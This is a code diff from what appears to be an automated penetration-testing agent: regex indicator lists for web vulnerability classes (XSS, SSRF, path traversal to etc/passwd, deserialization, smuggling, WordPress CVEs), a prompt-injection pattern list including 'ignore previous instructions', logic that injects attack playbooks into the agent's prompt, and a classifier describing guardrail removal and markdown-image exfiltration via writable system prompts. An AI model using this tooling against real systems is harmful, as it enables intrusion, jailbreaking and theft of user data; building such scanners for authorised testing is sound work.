+      /\borg(?:anization)?[_-]?id\b/i,
+      /\btenant[_-]?id\b/i,
+      /\bis[_-]?admin\b/i,
+      /\brole\s*[=:]/i,
+      /\bunauthorized\b/i,
+      /\bforbidden\b/i,
+      /\b403\b/,
+      /\b401\b/
+    ]
+  },
+  {
+    type: "xss",
+    patterns: [
+      /<script/i,
+      /onerror\s*=/i,
+      /onload\s*=/i,
+      /javascript:/i,
+      /document\.cookie/i,
+      /innerHTML/i,
+      /document\.write/i,
+      /reflected.*input/i,
+      /Content-Type:.*text\/html/i,
+      /<form[\s>]/i,
+      /<input[\s>]/i,
+      /<textarea[\s>]/i,
+      /type=["']?text["']?/i,
+      /name=["']?(search|query|q|comment|message|name|title|body|content|text|url|redirect|callback|return)/i,
+      /\?[^=]+=.*</i,
+      /xss/i,
+      /cross.site/i,
+      /sanitiz/i,
+      /escape/i,
+      /\.php\?/i
+    ]
+  },
+  {
+    type: "ssrf",
+    patterns: [
+      /url[=:]\s*http/i,
+      /webhook/i,
+      /callback.*url/i,
+      /fetch.*url/i,
+      /proxy/i,
+      /redirect.*url/i,
+      /169\.254\.169\.254/,
+      /metadata/i
+    ]
+  },
+  {
+    type: "lfi",
+    patterns: [
+      /file[=:]/i,
+      /path[=:]/i,
+      /include[=:]/i,
+      /template[=:]/i,
+      /\.\.\/\.\.\//,
+      /etc\/passwd/i,
+      /\/proc\/self/i,
+      /root:x:0:0/,
+      /\[boot loader\]/i
+    ]
+  },
+  {
+    type: "auth_bypass",
+    patterns: [
+      /login/i,
+      /sign.?in/i,
+      /auth/i,
+      /password/i,
+      /session/i,
+      /jwt/i,
+      /bearer/i,
+      /unauthorized/i,
+      /403/,
+      /401/
+    ]
+  },
+  {
+    type: "blind_exploitation",
+    patterns: [
+      /\bblind\b/i,
+      /no output/i,
+      /waf/i,
+      /firewall/i,
+      /filter.*block/i,
+      /block.*filter/i,
+      /request.*rejected/i,
+      /forbidden/i,
+      /\b403\b/,
+      /not allowed/i,
+      /suspicious/i,
+      /malicious.*input/i,
+      /identical.*respons/i,
+      /same.*respons/i,
+      /time.?based/i,
+      /out.?of.?band/i,
+      /\boob\b/i,
+      /callback/i,
+      /interactsh/i,
+      /webhook\.site/i,
+      /sleep\(/i,
+      /pg_sleep/i,
+      /benchmark\(/i,
+      /php:\/\/filter/i,
+      /convert\.base64-encode/i,
+      /\.\.%2f/i,
+      /\.\.%252f/i,
+      /encoding.*restrict/i,
+      /sanitiz.*input/i,
+      /stripped/i
+    ]
+  },
+  {
+    type: "command_injection",
+    patterns: [
+      /exec\s*\(/i,
+      /system\s*\(/i,
+      /popen\s*\(/i,
+      /subprocess/i,
+      /child_process/i,
+      /shell.*true/i,
+      /ping\s/i,
+      /nslookup/i,
+      /traceroute/i
+    ]
+  },
+  {
+    type: "deserialization",
+    patterns: [
+      // PHP
+      /unserialize\s*\(/i,
+      /__wakeup/,
+      /__destruct/,
+      /O:\d+:"[\w\\]+":\d+:\{/,
+      // PHP serialized object header
+      /unserialize\(\):\s*Error at offset/i,
+      /phpggc/i,
+      // Python pickle
+      /pickle\.loads?\s*\(/i,
+      /cPickle/i,
+      /__reduce__/,
+      // YAML
+      /yaml\.load\s*\(/i,
+      /!!python\/object/i,
+      /!ruby\/object/i,
+      /SnakeYAML/i,
+      /FullLoader/,
+      /SafeLoader/,
+      // Java
+      /rO0AB/,
+      // base64 of Java serialization magic
+      /\xac\xed\x00\x05/,
+      /application\/x-java-serialized-object/i,
+      /ysoserial/i,
+      /CommonsCollections/i,
+      // .NET
+      /BinaryFormatter/i,
+      /ObjectStateFormatter/i,
+      /__VIEWSTATE/,
+      /TypeNameHandling/i,
+      // Ruby
+      /Marshal\.load/i,
+      /Gem::Installer/,
+      // Generic
+      /deserializ/i,
+      /serializ.*object/i
+    ]
+  },
+  {
+    type: "request_smuggling",
+    patterns: [
+      /Transfer-Encoding/i,
+      /chunked/i,
+      /Content-Length.*Transfer-Encoding/is,
+      /Transfer-Encoding.*Content-Length/is,
+      /CL\.TE/i,
+      /TE\.CL/i,
+      /TE\.TE/i,
+      /desync/i,
+      /smuggl/i,
+      /HAProxy/i,
+      /Apache Traffic Server/i,
+      /\bnginx\/1\.[0-9]\./i,
+      // old nginx often vulnerable
+      /HTTP\/1\.1.*keep-alive/i,
+      /front.?end.*back.?end/i,
+      /reverse.proxy/i,
+      /X-Forwarded-For/i
+    ]
+  },
+  {
+    type: "creative_idor",
+    patterns: [
+      /\/api\/v\d+\//i,
+      /\/v\d+\//,
+      /id=\d+/,
+      /user_?id/i,
+      /owner_?id/i,
+      /account_?id/i,
+      /role=/i,
+      /is_?admin/i,
+      /X-Original-URL/i,
+      /X-Rewrite-URL/i,
+      /X-HTTP-Method/i,
+      /_method=/i,
+      /mass.assignment/i,
+      /parameter.pollution/i,
+      /\bHPP\b/,
+      /403.*forbidden/i,
+      /401.*unauthorized/i,
+      /not.*authorized/i,
+      /permission.denied/i,
+      /access.denied/i,
+      /enumerate/i,
+      /sequential.*id/i,
+      /predictable.*id/i
+    ]
+  },
+  {
+    type: "cve_exploitation",
+    patterns: [
+      // WordPress indicators
+      /wp-content/i,
+      /wp-includes/i,
+      /wp-admin/i,
+      /wp-json/i,
+      /xmlrpc\.php/i,
+      /wordpress/i,
+      /wp-login/i,
+      /\/wp-content\/plugins\//i,
+      /\/wp-content\/themes\//i,
+      // Drupal / Joomla
+      /drupal/i,
+      /joomla/i,
+      /X-Drupal-Cache/i,
+      // Generator / version disclosure
+      /<meta\s+name=["']generator["']/i,
+      /X-Generator:/i,
+      /X-Powered-By:/i,
+      /Server:\s*Apache\/[\d.]+/i,
+      /Server:\s*nginx\/[\d.]+/i,
+      // Common fingerprint files
+      /readme\.html/i,
+      /CHANGELOG\.txt/i,
+      /composer\.json/i,
+      /package\.json/i,
+      // CVE / version strings
+      /CVE-\d{4}-\d{4,7}/i,
+      /\?ver=[\d.]+/i,
+      /version[\s:=]+[\d]+\.[\d]+/i,
+      // Plugin slugs commonly seen
+      /contact-form-7/i,
+      /woocommerce/i,
+      /elementor/i,
+      /yoast/i,
+      /wp-file-manager/i,
+      /duplicator/i,
+      /ninja-forms/i
+    ]
+  },
+  {
+    type: "prompt_injection",
+    patterns: [
+      /prompt.?inject/i,
+      /ignore (?:all |the |your )?(?:previous|prior|above) instructions/i,
+      /system prompt/i,
+      /jailbreak/i,
+      /\bLLM\b/,
+      /chatbot/i,
+      /\bassistant\b/i,
+      /role[:=]\s*system/i,
+      /you are (?:a|an|now)/i,
+      /\bDAN\b/
+    ]
+  },
+  {
+    type: "rag_poisoning",
+    patterns: [
+      /\bRAG\b/,
+      /retrieval.augmented/i,
+      /knowledge\s*base/i,
+      /vector\s*(?:store|db|database)/i,
+      /embedding/i,
+      /\bretriev/i,
+      /(?:upload|add|index|ingest).*(?:document|doc|file)/i,
+      /context\s*(?:window|poison)/i,
+      /ask (?:my|your) docs/i,
+      /semantic search/i
+    ]
+  },
+  {
+    type: "insecure_output_handling",
+    patterns: [
+      /!\[[^\]]*\]\(https?:\/\//,
+      // markdown image
+      /render(?:ed|s)?.*(?:markdown|html|output)/i,
+      /\bXSS\b/,
+      /innerHTML/i,
+      /dangerouslySetInnerHTML/i,
+      /output.*(?:render|execut|eval)/i,
+      /<img[^>]+onerror/i,
+      /<script/i,
+      /unescap/i,
+      /link\s*(?:preview|unfurl)/i
+    ]
+  },
+  {
+    type: "excessive_agency",
+    patterns: [
+      /excessive.agency/i,
+      /function.call/i,
+      /tool.use/i,
+      /\bplugin/i,
+      /\bMCP\b/,
+      /\bagent\b/i,
+      /(?:send|delete|transfer|execute|invoke).*(?:tool|function|action)/i,
+      /tool[_-]?call/i,
+      /autonomous/i,
+      /human.in.the.loop/i
+    ]
+  },
+  {
+    // AI prompt-layer write target (0#775). Fires when a DB foothold
+    // coincides with LLM-app + prompt-store signals: the system prompt /
+    // guardrails / model config live in a writable DB row. Distinct from
+    // rag_poisoning (writable retrieval docs) — this is the *control* layer.
+    type: "prompt_layer_write",
+    patterns: [
+      /system[_\s-]?prompt/i,
+      /\bguardrail/i,
+      /prompt[_\s-]?template/i,
+      /\bpersona\b/i,
+      /assistant[_\s-]?config/i,
+      /agent[_\s-]?config/i,
+      /model[_\s-]?config/i,
+      /safety[_\s-]?settings/i,
+      /\bllm[_\s-]?settings/i,
+      /\bLLM\b/,
+      /\bchatbot\b/i,
+      /you are (?:a|an|now)/i,
+      // DB-foothold co-signals
+      /\bSQLi\b/i,
+      /information_schema/i,
+      /SHOW\s+TABLES/i,
+      /\bUPDATE\s+\w+\s+SET/i,
+      /getCollectionNames/i,
+      /\bGRANT\b/i,
+      /\bUPDATE\b.*privilege/i
+    ]
+  },
+  {
+    // Rust / userspace memory-safety + sandbox-escape (0#696, Monty-mode).
+    // Fires on Rust unsafe / FFI surface, memory-corruption signals (sanitizer
+    // and miri output, GC-root / refcount language), and the language-runtime
+    // sandbox context the round-1 UAF lived in.
+    type: "rust_memsafety",
+    patterns: [
+      /\bunsafe\b/i,
+      /\bPyO3\b/i,
+      /\bcargo[\s-]?fuzz\b/i,
+      /\blibfuzzer\b/i,
+      /\bmiri\b/i,
+      /AddressSanitizer/i,
+      /\bASAN\b/i,
+      /\bUBSAN\b/i,
+      /heap-use-after-free/i,
+      /use[\s-]?after[\s-]?free/i,
+      /double[\s-]?free/i,
+      /type[\s-]?confusion/i,
+      /\btransmute\b/i,
+      /from_raw\b/i,
+      /\bPy_(?:INCREF|DECREF)\b/i,
+      /\brefcount\b/i,
+      /\bgc[\s_-]?root\b/i,
+      /gc\.collect\(/i,
+      /garbage collector/i,
+      /\.rs\b/,
+      /\bcargo\b/i,
+      /\bsegfault\b/i,
+      /sandbox escape/i
+    ]
+  }
+];
+function detectPlaybooks(toolResultTexts) {
+  const combined = toolResultTexts.join("\n");
+  const scores = /* @__PURE__ */ new Map();
+  for (const indicator of INDICATORS) {
+    let matchCount = 0;
+    for (const pattern of indicator.patterns) {
+      if (pattern.test(combined)) {
+        matchCount++;
+      }
+    }
+    if (matchCount >= 2) {
+      scores.set(indicator.type, matchCount);
+    }
+  }
+  return [...scores.entries()].sort((a, b) => b[1] - a[1]).slice(0, 3).map(([type]) => type);
+}
+function buildPlaybookInjection(types) {
+  const sections = types.map((t) => PLAYBOOKS[t]).filter(Boolean);
+  if (sections.length === 0)
+    return "";
+  return [
+    "## Dynamic Playbook Injection",
+    "",
+    "Based on reconnaissance so far, these vulnerability-specific methodologies apply.",
+    "Follow the steps below \u2014 they are tuned for the patterns detected in this target.",
+    "",
+    ...sections
+  ].join("\n");
+}
+var PROMPT_LAYER_IMPACT_RULES = [
+  {
+    impact: "guardrail_removal",
+    patterns: [
+      /\bguardrail/i,
+      /safety[_\s-]?settings?/i,
+      /\bmoderation\b/i,
+      /\bpolicy\b/i,
+      /\brefus/i,
+      /\bnever (?:reveal|disclose|share|answer)/i,
+      /you must (?:refuse|not)/i,
+      /content[_\s-]?filter/i
+    ]
+  },
+  {
+    impact: "output_channel_exfil",
+    patterns: [
+      /output[_\s-]?(?:channel|template|format)/i,
+      /webhook/i,
+      /\bcallback\b/i,
+      /markdown/i,
+      /!\[[^\]]*\]\(https?:\/\//,
+      /append .*(?:url|link|http)/i
+    ]
+  },
+  {
+    impact: "model_config_tamper",
+    patterns: [
+      /model[_\s-]?(?:config|name|id)/i,
+      /\btemperature\b/i,
+      /\btop[_\s-]?p\b/i,
+      /\bmax[_\s-]?tokens\b/i,
+      /tool[_\s-]?(?:config|choice|s)\b/i,
+      /function[_\s-]?(?:config|call)/i,
+      /assistant[_\s-]?config/i,
+      /agent[_\s-]?config/i
+    ]
+  },
+  {
+    impact: "prompt_poisoning",
+    patterns: [
+      /system[_\s-]?prompt/i,
+      /prompt[_\s-]?template/i,
+      /\bprompts?\b/i,
+      /\binstructions?\b/i,
+      /\bpersona\b/i,
+      /you are (?:a|an|now|the)/i
+    ]
+  }
+];
+function looksLikePromptLayer(haystack) {
+  return PROMPT_LAYER_IMPACT_RULES.some((rule) => rule.patterns.some((p) => p.test(haystack)));
+}
+function classifyPromptLayerImpact(asset) {
+  const haystack = [asset.table, asset.column, asset.sample].filter(Boolean).join(" ");
+  const isPromptLayer = looksLikePromptLayer(haystack);
+  if (!isPromptLayer) {
+    return {
+      isPromptLayer: false,
+      impacts: [],
+      severity: "info",
+      narrative: "No prompt-layer signal: the asset does not look like a system prompt, guardrail, model config, or output-channel store. Not a prompt-layer write target."
+    };
+  }
+  const impacts = [];
+  for (const rule of PROMPT_LAYER_IMPACT_RULES) {
+    if (rule.patterns.some((p) => p.test(haystack))) {
+      impacts.push(rule.impact);
+    }
+  }
+  if (!asset.writable) {
+    return {
+      isPromptLayer: true,
+      impacts: [],
+      severity: "low",
+      narrative: `Prompt-layer asset detected (${describeAsset(asset)}) but no write path was confirmed from this foothold. Read exposure only \u2014 flag for review; re-check write privileges (SHOW GRANTS / admin edit endpoint) before claiming impact.`
+    };
+  }
+  const reRead = asset.reReadAtInference === true;
+  const severity = reRead ? "high" : "low";
+  const impactLabels = impacts.map((i) => IMPACT_NARRATIVE[i]);
+  const narrative = [
+    `WRITABLE prompt-layer asset (${describeAsset(asset)}).`,
+    reRead ? "The app re-reads this row at inference, so a write persists as a server-side prompt injection affecting EVERY future response for all users until reverted \u2014 invisible to end users and surviving restarts." : "Re-read-at-inference was NOT confirmed; impact may be limited if the prompt is cached or baked into code/env. Confirm the worker queries this row per request before escalating.",
+    `Impact class(es): ${impacts.join(", ")}.`,
+    ...impactLabels.map((l) => `- ${l}`),
+    "Verification-only: NO destructive write was performed; write capability is asserted from privilege/endpoint evidence."
+  ].join("\n");
+  return { isPromptLayer: true, impacts, severity, narrative };
+}
+var IMPACT_NARRATIVE = {
+  prompt_poisoning: "prompt_poisoning: rewriting the system prompt / persona hijacks every response (exfil instructions, scams, malicious links, brand damage).",
+  guardrail_removal: "guardrail_removal: editing safety/refusal/policy text or flipping a moderation flag jailbreaks the model by config \u2014 it answers what it refused.",
+  output_channel_exfil: "output_channel_exfil: injecting markdown-image/link or output-sink instructions silently exfiltrates conversation data on every turn.",
+  model_config_tamper: "model_config_tamper: swapping model name, raising temperature, or rewiring tool/function config degrades safety or steers the agent to attacker tools."
+};
+function describeAsset(asset) {
+  const loc = [asset.table, asset.column].filter(Boolean).join(".");
+  return loc || "unnamed asset";
+}
+
+// packages/core/dist/triage/userspace-fuzz-runner.js
+import { execFile } from "node:child_process";
+import { createHash } from "node:crypto";
+import { tmpdir } from "node:os";
+import { basename, dirname, isAbsolute, join, relative, resolve, sep } from "node:path";
+import { closeSync, constants, existsSync, fstatSync, lstatSync, mkdirSync, mkdtempSync, openSync, readFileSync, readdirSync, realpathSync, rmSync, statSync, writeFileSync } from "node:fs";
 
-### Step 4: Produce the impact narrative + save
-- Write the narrative: which row/column, which impact class(es), blast radius
-  (all users / one tenant), persistence (survives restarts because it's in the DB),
-  and the proof that it's writable + re-read.
-- \`save_finding\` with: the table/column/key, a read-only sample of the current
-  prompt, the privilege/re-read evidence, the impact classification, and the
-  narrative. Explicitly note that NO destructive write was performed.`,
-  rust_memsafety: `## Rust / Userspace Memory-Safety & Sandbox-Escape Playbook ("Monty-mode")
+// packages/core/dist/review/sanitizer-log.js
+var ASAN_CATEGORY_BY_KIND = {
+  "heap-use-after-free": "use-after-free",
+  "stack-use-after-return": "use-after-free",
+  "stack-use-after-scope": "use-after-free",
+  "double-free": "double-free",
+  "attempting-double-free": "double-free",
+  "stack-buffer-overflow": "stack-buffer-overflow",
+  "heap-buffer-overflow": "heap-overflow",
+  "global-buffer-overflow": "heap-overflow"
+};
+function categoryForAsan(kind, primitive) {
+  if ((kind === "heap-buffer-overflow" || kind === "global-buffer-overflow") && primitive === "read") {
+    return "out-of-bounds-read";
+  }
+  if ((kind === "heap-buffer-overflow" || kind === "global-buffer-overflow") && primitive === "write") {
+    return "out-of-bounds-write";
+  }
+  return ASAN_CATEGORY_BY_KIND[kind] ?? "other";
+}
+function categoryForUbsan(message) {
+  const lower = message.toLowerCase();
+  if (lower.includes("signed integer overflow") || lower.includes("unsigned integer overflow")) {
+    return { kind: "signed-integer-overflow", category: "integer-overflow" };
+  }
+  if (lower.includes("shift exponent") || lower.includes("shift base")) {
+    return { kind: "shift-exponent", category: "integer-overflow" };
+  }
+  if (lower.includes("float-cast-overflow") || lower.includes("outside the range of representable values")) {
+    return { kind: "float-cast-overflow", category: "integer-truncation" };
+  }
+  if (lower.includes("null pointer") || lower.includes("null-pointer")) {
+    return { kind: "null-pointer-use", category: "null-deref" };
+  }
+  return { kind: "undefined-behavior", category: "other" };
+}
+function parsePrimitive(text) {
+  const access = text.match(/\b(READ|WRITE) of size (\d+)/i);
+  if (!access)
+    return { primitive: "unknown" };
+  return {
+    primitive: access[1].toLowerCase(),
+    accessSize: Number(access[2])
+  };
+}
+function parseFrames(text) {
+  const frames = [];
+  const frameRegex = /^\s*#\d+\s+0x[0-9a-fA-F]+\s+in\s+(?:(\S+)\s+)?(.+?):(\d+)(?::\d+)?(?:\s|$)/gm;
+  let match;
+  while ((match = frameRegex.exec(text)) !== null) {
+    frames.push({
+      functionName: match[1],
+      file: match[2],
+      line: Number(match[3])
+    });
+  }
+  return frames;
+}
+function parseAsan(text) {
+  const header = text.match(/ERROR:\s*AddressSanitizer:\s*([a-z0-9-]+)/i);
+  if (!header?.[1])
+    return null;
+  const kind = header[1].toLowerCase();
+  const { primitive, accessSize } = parsePrimitive(text);
+  const frames = parseFrames(text);
+  let sourceFile = frames[0]?.file;
+  let sourceLine = frames[0]?.line;
+  const summary = text.match(/SUMMARY:\s*AddressSanitizer:\s*[a-z0-9-]+\s+(.+?):(\d+)(?::\d+)?/i);
+  if ((!sourceFile || !sourceLine) && summary?.[1] && summary?.[2]) {
+    sourceFile = summary[1];
+    sourceLine = Number(summary[2]);
+  }
+  const allocMatch = text.match(/\b(\d+)-byte region\b/i);
+  const allocSize = allocMatch?.[1] ? Number(allocMatch[1]) : void 0;
+  return {
+    sanitizer: "asan",
+    kind,
+    category: categoryForAsan(kind, primitive),
+    primitive,
+    sourceFile,
+    sourceLine,
+    allocSize,
+    accessSize,
+    summary: text.split("\n").find((line) => line.includes("ERROR: AddressSanitizer"))?.trim() ?? kind,
+    frames
+  };
+}
+function parseUbsan(text) {
+  const runtime = text.match(/^(.+?):(\d+):(?:(\d+):)?\s*runtime error:\s*(.+)$/m);
+  if (!runtime?.[1] || !runtime?.[2] || !runtime?.[4])
+    return null;
+  const details = runtime[4].trim();
+  const { kind, category } = categoryForUbsan(details);
+  return {
+    sanitizer: "ubsan",
+    kind,
+    category,
+    primitive: "unknown",
+    sourceFile: runtime[1],
+    sourceLine: Number(runtime[2]),
+    summary: details,
+    frames: []
+  };
+}
+function parseSanitizerLog(text) {
+  const trimmed = text.trim();
+  if (!trimmed)
+    return null;
+  return parseAsan(trimmed) ?? parseUbsan(trimmed);
+}
+function renderSanitizerVerdict(verdict) {
+  const loc = verdict.sourceFile ? `${verdict.sourceFile}${verdict.sourceLine ? `:${verdict.sourceLine}` : ""}` : "unknown location";
+  const sizes = [
+    verdict.accessSize !== void 0 ? `access=${verdict.accessSize}` : null,
+    verdict.allocSize !== void 0 ? `allocation=${verdict.allocSize}` : null
+  ].filter(Boolean).join(", ");
+  return [
+    `${verdict.sanitizer.toUpperCase()} ${verdict.kind}`,
+    `category=${verdict.category}`,
+    `primitive=${verdict.primitive}`,
+    `source=${loc}`,
+    sizes || null
+  ].filter(Boolean).join("; ");
+}
 
-The target is a memory-safe-by-default language runtime (e.g. a Rust-written
-Python interpreter / sandbox such as Pydantic Monty). The bug class is memory
-corruption reachable from attacker-controlled scripting: use-after-free,
-double-free, type confusion, OOB, and **GC-root gaps**. This is discovery +
-classification, NOT autonomous exploit synthesis (see
-docs/0-rust-memsafety-pipeline.md).
+// packages/core/dist/triage/userspace-fuzz-runner.js
+var MEMSAFETY_ARTIFACT_SCHEMA = "0-memsafety-artifacts/v1";
+var MAX_RETAINED_CRASHES = 16;
+var MAX_RETAINED_REPRODUCER_BYTES = 1024 * 1024;
+var MAX_RETAINED_LOG_BYTES = 256 * 1024;
+var DEFAULT_RETAINED_ARTIFACT_BYTES = 4 * 1024 * 1024;
+var MIN_RETAINED_ARTIFACT_BYTES = 64 * 1024;
+var ARTIFACT_MANIFEST_RESERVE_BYTES = 64 * 1024;
+var TOOLING_HINTS = {
+  cargo: "cargo not found \u2014 install the Rust toolchain via https://rustup.rs",
+  "cargo-fuzz": "cargo-fuzz not found \u2014 install with `cargo install cargo-fuzz` (requires a nightly toolchain for `cargo fuzz run`)",
+  "cargo-fuzz-harness": "cargo-fuzz needs exactly one harness \u2014 pass `--harness <name>` or provide a source tree with one cargo-fuzz target",
+  miri: "miri not found \u2014 install with `rustup +nightly component add miri`",
+  clang: "clang not found \u2014 install LLVM/clang to compile the libFuzzer harness"
+};
+function commandAvailable(command, args) {
+  return new Promise((resolveProbe) => {
+    execFile(command, args, { timeout: 1e4, env: fuzzChildEnv() }, (error) => {
+      resolveProbe(!error);
+    });
+  });
+}
+async function cargoAvailable() {
+  return commandAvailable("cargo", ["--version"]);
+}
+async function cargoFuzzAvailable() {
+  return commandAvailable("cargo", ["fuzz", "--help"]);
+}
+async function miriAvailable() {
+  return commandAvailable("cargo", ["+nightly", "miri", "--version"]);
+}
+async function clangAvailable() {
+  return commandAvailable("clang", ["--version"]);
+}
+var ASAN_PRIMITIVE = {
+  "heap-use-after-free": "use-after-free",
+  "stack-use-after-return": "use-after-free",
+  "stack-use-after-scope": "use-after-free",
+  "double-free": "double-free",
+  "attempting-double-free": "double-free",
+  "stack-buffer-overflow": "stack-oob"
+};
+function primitiveFromSanitizerKind(kind, rw) {
+  if (kind === "heap-buffer-overflow" || kind === "global-buffer-overflow") {
+    return rw === "write" ? "heap-oob-write" : "heap-oob-read";
+  }
+  const direct = ASAN_PRIMITIVE[kind];
+  if (direct)
+    return direct;
+  if (kind === "signed-integer-overflow" || kind === "shift-exponent") {
+    return "integer-overflow";
+  }
+  if (kind === "null-pointer-use")
+    return "null-deref";
+  return "unknown";
+}
+function signatureFromFrames(kind, frames, rawOutput) {
+  const top = frames.map((f) => normaliseFrame(f)).filter(Boolean).slice(0, 5);
+  const basis = top.length > 0 ? `${kind}
+${top.join("\n")}` : `${kind}
+${rawOutput.trim().split("\n").slice(0, 3).join("\n")}`;
+  return createHash("sha256").update(basis).digest("hex").slice(0, 16);
+}
+function normaliseFrame(frame) {
+  return frame.replace(/0x[0-9a-fA-F]+/g, "").replace(/\+0x[0-9a-fA-F]+(\/0x[0-9a-fA-F]+)?/g, "").replace(/:\d+(:\d+)?\b/g, "").replace(/\s+/g, " ").trim();
+}
+function parseCrashOutput(output, hint) {
+  const text = output.trim();
+  if (!text)
+    return null;
+  const sanitizer = parseSanitizerLog(text);
+  if (sanitizer) {
+    const frames = sanitizer.frames.map((f) => [f.functionName, f.file && `${f.file}:${f.line ?? ""}`].filter(Boolean).join(" "));
+    const kind = sanitizer.sanitizer === "asan" ? "asan" : "ubsan";
+    const rw = sanitizer.primitive === "read" || sanitizer.primitive === "write" ? sanitizer.primitive : "unknown";
+    return {
+      kind,
+      signature: signatureFromFrames(sanitizer.kind, frames, text),
+      rawOutput: text,
+      inputPath: hint?.inputPath,
+      stack: frames.length > 0 ? frames : void 0,
+      primitive: primitiveFromSanitizerKind(sanitizer.kind, rw)
+    };
+  }
+  if (/error: Undefined Behavior|Miri caught|error\[E\d+\].*unsafe/i.test(text)) {
+    const frames = parseMiriFrames(text);
+    return {
+      kind: "miri",
+      signature: signatureFromFrames("miri", frames, text),
+      rawOutput: text,
+      inputPath: hint?.inputPath,
+      stack: frames.length > 0 ? frames : void 0,
+      primitive: primitiveFromMiri(text)
+    };
+  }
+  if (/thread '.*' panicked at|panicked at/i.test(text)) {
+    const frames = parseRustBacktrace(text);
+    return {
+      kind: "panic",
+      signature: signatureFromFrames("panic", frames, text),
+      rawOutput: text,
+      inputPath: hint?.inputPath,
+      stack: frames.length > 0 ? frames : void 0,
+      primitive: primitiveFromPanic(text)
+    };
+  }
+  if (hint?.kind === "timeout") {
+    return {
+      kind: "timeout",
+      signature: signatureFromFrames("timeout", [], text),
+      rawOutput: text,
+      inputPath: hint?.inputPath,
+      primitive: "unknown"
+    };
+  }
+  if (/out-of-memory|libFuzzer: out-of-memory|rss limit exceeded/i.test(text)) {
+    return {
+      kind: "oom",
+      signature: signatureFromFrames("oom", [], text),
+      rawOutput: text,
+      inputPath: hint?.inputPath,
+      primitive: "unknown"
+    };
+  }
+  if (hint?.kind === "segfault" || /SEGV|segmentation fault|deadly signal|SIGSEGV/i.test(text)) {
+    return {
+      kind: "segfault",
+      signature: signatureFromFrames("segfault", parseRustBacktrace(text), text),
+      rawOutput: text,
+      inputPath: hint?.inputPath,
+      primitive: "null-deref"
+    };
+  }
+  return null;
+}
+function parseMiriFrames(text) {
+  const frames = [];
+  const locRe = /-->\s+(.+?:\d+(?::\d+)?)/g;
+  let m;
+  while ((m = locRe.exec(text)) !== null)
+    frames.push(m[1]);
+  return frames.length > 0 ? frames : parseRustBacktrace(text);
+}
+function parseRustBacktrace(text) {
+  const frames = [];
+  const symRe = /^\s*\d+:\s+(.+)$/gm;
+  let m;
+  while ((m = symRe.exec(text)) !== null)
+    frames.push(m[1].trim());
+  return frames;
+}
+function primitiveFromMiri(text) {
+  const lower = text.toLowerCase();
+  if (lower.includes("use-after-free") || lower.includes("dangling")) {
+    return "use-after-free";
+  }
+  if (lower.includes("uninitialized"))
+    return "uninit-read";
+  if (lower.includes("out-of-bounds") || lower.includes("out of bounds")) {
+    return "heap-oob-read";
+  }
+  if (lower.includes("null pointer") || lower.includes("null reference")) {
+    return "null-deref";
+  }
+  if (lower.includes("type") && lower.includes("validity"))
+    return "type-confusion";
+  return "unknown";
+}
+function primitiveFromPanic(text) {
+  const lower = text.toLowerCase();
+  if (lower.includes("index out of bounds"))
+    return "heap-oob-read";
+  if (lower.includes("overflow"))
+    return "integer-overflow";
+  return "unknown";
+}
+var FUZZ_TOOLCHAIN_ENV_PASSTHROUGH = [
+  "CARGO_HOME",
+  "RUSTUP_HOME",
+  "RUSTUP_TOOLCHAIN",
+  "CARGO_TARGET_DIR"
+];
+function fuzzChildEnv() {
+  const extras = {};
+  for (const key of FUZZ_TOOLCHAIN_ENV_PASSTHROUGH) {
+    const value = process.env[key];
+    if (value !== void 0)
+      extras[key] = value;
+  }
+  return allowlistedChildEnv(extras);
+}
+function runChild(command, args, cwd, timeoutMs) {
+  return new Promise((resolveRun) => {
+    execFile(command, args, { cwd, timeout: timeoutMs, maxBuffer: 16 * 1024 * 1024, killSignal: "SIGKILL", env: fuzzChildEnv() }, (error, stdout, stderr) => {
+      const stdoutText = String(stdout ?? "");
+      const output = `${stdoutText}${String(stderr ?? "")}`;
+      const timedOut = Boolean(error && error.killed);
+      const signalled = Boolean(error && error.signal);
+      resolveRun({
+        output,
+        stdout: stdoutText,
+        timedOut,
+        signalled,
+        failed: Boolean(error)
+      });
+    });
+  });
+}
+function dedupeBySignature(crashes) {
+  const seen = /* @__PURE__ */ new Map();
+  for (const crash of crashes) {
+    if (!seen.has(crash.signature))
+      seen.set(crash.signature, crash);
+  }
+  return Array.from(seen.values());
+}
+function pathIsWithin(root, candidate) {
+  const rel = relative(root, candidate);
+  return rel === "" || rel !== ".." && !rel.startsWith(`..${sep}`) && !isAbsolute(rel);
+}
+function resolveCargoFuzzDir(sourceRoot, fuzzDir) {
+  const raw = fuzzDir?.trim() || "fuzz";
+  if (isAbsolute(raw))
+    return void 0;
+  const candidate = resolve(sourceRoot, raw);
+  if (!pathIsWithin(sourceRoot, candidate))
+    return void 0;
+  try {
+    const canonical = realpathSync(candidate);
+    return canonical === candidate && pathIsWithin(sourceRoot, canonical) ? canonical : void 0;
+  } catch {
+    return void 0;
+  }
+}
+function isCargoFuzzHarnessName(value) {
+  return /^[A-Za-z0-9][A-Za-z0-9_-]*$/.test(value);
+}
+function isStableSourceDirectory(sourceRoot, directory) {
+  try {
+    const canonical = realpathSync(directory);
+    return canonical === directory && pathIsWithin(sourceRoot, canonical);
+  } catch {
+    return false;
+  }
+}
+function resolveArtifactRoot(artifactDir, sourceRoot) {
+  if (!artifactDir)
+    return void 0;
+  mkdirSync(artifactDir, { recursive: true, mode: 448 });
+  const canonical = realpathSync(artifactDir);
+  if (pathIsWithin(sourceRoot, canonical)) {
+    throw new Error("artifactDir must resolve outside the prepared source tree");
+  }
+  return artifactDir;
+}
+function makeArtifactDir(artifactDir) {
+  if (artifactDir) {
+    return { dir: mkdtempSync(join(artifactDir, "0-uf-")), ephemeral: false };
+  }
+  return { dir: mkdtempSync(join(tmpdir(), "0-uf-")), ephemeral: true };
+}
+function corpusCount(dir) {
+  try {
+    return readdirSync(dir).filter((name) => {
+      try {
+        return statSync(join(dir, name)).isFile();
+      } catch {
+        return false;
+      }
+    }).length;
+  } catch {
+    return 0;
+  }
+}
+async function runUserspaceFuzzLoop(opts) {
+  const log = opts.logger ?? ((line) => console.log(line));
+  const sourceRoot = resolve(opts.target.sourceRoot);
+  const canonicalSourceRoot = existsSync(sourceRoot) ? realpathSync(sourceRoot) : sourceRoot;
+  const runOpts = {
+    ...opts,
+    target: { ...opts.target, sourceRoot: canonicalSourceRoot }
+  };
+  const start = Date.now();
+  const timeoutSec = opts.timeoutSec ?? parseInt(process.env["ZERO_USERSPACE_FUZZ_TIMEOUT_SEC"]?.trim() || "60", 10);
+  const timeoutMs = Math.max(1, timeoutSec) * 1e3;
+  const artifactDir = resolveArtifactRoot(opts.artifactDir, canonicalSourceRoot);
